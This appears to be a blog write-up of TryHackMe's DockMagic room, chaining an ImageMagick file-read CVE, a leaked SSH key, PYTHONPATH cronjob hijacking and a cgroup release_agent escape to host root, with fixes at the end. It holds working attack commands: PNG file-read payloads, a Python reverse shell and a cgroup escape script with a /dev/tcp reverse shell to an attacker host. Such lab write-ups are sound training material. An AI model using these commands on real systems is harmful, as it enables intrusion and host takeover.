mintshell
VI

DockMagic: One ImageMagick CVE to Arbitrary File Read, a Leaked SSH Key, and a Three-Stage Escape to Host Root

A walkthrough of TryHackMe's DockMagic — CVE-2022-44268 in ImageMagick gives arbitrary file read, leaks an SSH key into a Docker container, PYTHONPATH injection for container root, then cgroup release_agent escape to host root.

Platform
TryHackMe
Room
DockMagic(external link)
Difficulty
Medium
Vulnerabilities
arbitrary file read, privileged container escape, python path injection, cgroup container escape
7 min read

DockMagic: One ImageMagick CVE to Arbitrary File Read, a Leaked SSH Key, and a Three-Stage Escape to Host Root

A walkthrough of TryHackMe’s DockMagic — a medium-difficulty Linux room. We abuse CVE-2022-44268 in ImageMagick to read arbitrary files from a web app’s avatar upload, leak an SSH private key, land inside a Docker container, hijack a cronjob via PYTHONPATH injection for container root, then escape to the host through cgroup release_agent abuse — three flags across three privilege boundaries.

Flags, SSH keys, and credentials are redacted. DockMagic is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Values shown as <redacted> are real on the box but withheld here.

TL;DR — the whole chain

TL;DR

The web app at site.empman.thm uses a vulnerable ImageMagick 7.0.9 (via MiniMagick) to process avatar uploads. CVE-2022-44268 lets us embed an arbitrary file path in a PNG’s text chunk — ImageMagick reads the file and stores its contents as hex in the processed image metadata. We leak /home/emp/.ssh/id_rsa → SSH into a Docker container as emp → find a cron running backup.py as root with PYTHONPATH=/dev/shm prepended → plant a malicious cbackup.py module for PYTHONPATH injection → container root → mount the host’s cgroup, abuse the release_agent to execute commands on the host → host root. Three flags, three escalation stages.

The target

export IP=<target-ip>

Nmap reveals two open ports:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp open  http    nginx 1.18.0 (Ubuntu)

The web server hosts EmpMan, an employee management app. Adding empman.thm to /etc/hosts and fuzzing for subdomains with ffuf discovers two vhosts:

ffuf -u http://empman.thm -H "HOST: FUZZ.empman.thm" \
     -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# -> backup  [Status: 200, Size: 255]
# -> site    [Status: 200, Size: 4611]
  • site.empman.thm — employee registration with avatar uploads (MiniMagick for image processing).
  • backup.empman.thm — serves a zip archive containing an ImageMagick 7.0.9 installation and a revealing TODO file.

The vulnerability: CVE-2022-44268 — ImageMagick arbitrary file read

The TODO from the backup zip confirms two critical items left undone: SSH keys were never revoked, and ImageMagick was never replaced despite known vulnerabilities.

serious (TO BE DONE):
1. Revoke user's ssh keys.
2. Switch from minimagick to vips due to recent discovery of security vulnerabilities in ImageMagick.

The bundled Install-unix.txt confirms ImageMagick 7.0.9 — vulnerable to CVE-2022-44268 (affects versions ≤ 7.1.0-49). This CVE allows an attacker to embed a target file path in a PNG text chunk. When ImageMagick processes (resizes, converts) the image, it reads the target file and stores its contents as a hex-encoded string in the output image’s metadata.

Insight

How CVE-2022-44268 works: ImageMagick’s PNG coder reads tEXt chunks from input images. If a chunk has the keyword profile, the coder interprets the value as a filename, reads that file, and embeds its raw bytes as hex in the output image’s metadata. Because the web app processes avatars server-side with MiniMagick (which calls ImageMagick under the hood), every avatar upload becomes an arbitrary file read primitive.

Step 1 — prove the primitive: read /etc/passwd

We craft a PNG with an embedded file path using pngcrush:

pngcrush -text a "profile" "/etc/passwd" test.png passwd.png

Upload passwd.png as an avatar on site.empman.thm, then download the processed image and extract the hex data:

identify -verbose online-passwd.png
# -> Raw profile type: contains hex-encoded data

Decoding the hex (via CyberChef or xxd -r -p) yields the full /etc/passwd, confirming the arbitrary file read. We identify user emp with UID 1000 and a bash shell.

Step 2 — leak the SSH key and get a foothold

The TODO mentioned un-revoked SSH keys. We target emp’s private key:

pngcrush -text a "profile" "/home/emp/.ssh/id_rsa" test.png ssh-key.png

Upload, download the processed image, extract and decode the hex — we recover a full OpenSSH private key:

chmod 400 id_rsa
ssh -i id_rsa emp@empman.thm

We land inside a Docker container (Linux 23348446b037). Flag 1 is in the home directory:

emp@23348446b037:~$ cat flag1.txt
THM{<redacted>}

Step 3 — PYTHONPATH injection → container root

Running LinPEAS inside the container reveals a cronjob running every minute as root:

* * * * * root PYTHONPATH=/dev/shm:$PYTHONPATH python3 /usr/local/sbin/backup.py >> /var/log/cron.log

The backup script imports a custom module:

import cbackup
import time

cbackup.init('/home/emp/app')
t = time.localtime()
current_time = time.strftime("%H:%M:%s", t)
print(current_time)

Insight

PYTHONPATH injection: The cronjob prepends /dev/shm (a world-writable tmpfs) to PYTHONPATH. Python resolves imports left-to-right, so placing a malicious cbackup.py in /dev/shm hijacks the import before the real module is found. The script runs as root, so the hijacked code executes with full privileges.

We drop a reverse shell as /dev/shm/cbackup.py:

import os, pty, socket

lhost = "$ATTACKER_IP"
lport = 4445

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", "/dev/null")
pty.spawn("/bin/bash")
s.close()

Within a minute, the cron fires and we catch a root shell inside the container:

root@23348446b037:~# cat /root/flag2.txt
THM{<redacted>}

Step 4 — cgroup release_agent container escape → host root

LinPEAS flags release_agent breakout 2 as exploitable. We confirm with deepce.sh — the container has access to mount cgroups and write to release_agent.

The escape technique:

  1. Mount the host’s cgroup filesystem inside the container.
  2. Create a child cgroup with notify_on_release enabled.
  3. Set release_agent to a script on the host (via the container’s overlay path).
  4. Trigger the release by moving a process into the cgroup and immediately exiting it.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Insight

How cgroup release_agent escape works: When a cgroup’s last process exits and notify_on_release is set, the kernel executes the binary named in release_agent — on the host, not inside the container. Because the container can mount the host’s cgroup filesystem and write to release_agent, it can point the agent at a script accessible via the host’s filesystem overlay, achieving arbitrary code execution on the host as root.

We catch the reverse shell on port 4446 — now running as root on the actual host:

root@dockmagic:/# cat /home/vagrant/flag3.txt
THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). The chain starts unauthenticated and crosses three privilege boundaries:

  • CVE-2022-44268 arbitrary file read — any file on the system, including SSH private keys, via a crafted PNG upload. No authentication required.
  • PYTHONPATH injection — a world-writable directory prepended to the Python module search path in a root cronjob grants container root.
  • Cgroup release_agent container escape — the container’s ability to mount host cgroups and write release_agent lets it execute arbitrary commands as root on the host.

The scope change is significant: from an unauthenticated web request to full root access on the Docker host, traversing web → container user → container root → host root.

Fix

  1. Upgrade ImageMagick to a patched version (≥ 7.1.0-50) or switch to a safer image processor like libvips. Apply a strict image processing policy (policy.xml) that disables PNG profile reading.
  2. Revoke and rotate the SSH key for user emp. Enforce key-based access with passphrase protection and audit authorized_keys regularly.
  3. Fix the PYTHONPATH cronjob. Never prepend a world-writable directory to PYTHONPATH (or PATH, LD_LIBRARY_PATH). Run backup scripts with the minimum required privileges, not root.
  4. Harden the Docker container. Drop all capabilities, run with --security-opt no-new-privileges, use a read-only root filesystem, and prevent cgroup mounts with an appropriate AppArmor/seccomp profile.

Takeaways

  • Image processing libraries are attack surface. ImageMagick has a long history of CVEs. If your app processes user-uploaded images, pin versions, apply restrictive policy.xml, and prefer safer alternatives.
  • TODO lists are threat intel. The backup archive’s TODO file confirmed both the vulnerable ImageMagick version and un-revoked SSH keys — attackers read your notes too.
  • PYTHONPATH injection is the Python equivalent of PATH hijacking. A world-writable directory in the module search path is a root shell waiting to happen.
  • Container ≠ containment. A privileged container (or one that can mount host cgroups) is barely separated from the host. The cgroup release_agent escape is well-documented — if your containers can mount cgroups, they can break out.

Thanks for reading. DockMagic is a satisfying multi-stage room that walks through the full kill chain from an unauthenticated web vulnerability through container escape to host compromise — a realistic attack path that mirrors real-world Docker deployment mistakes.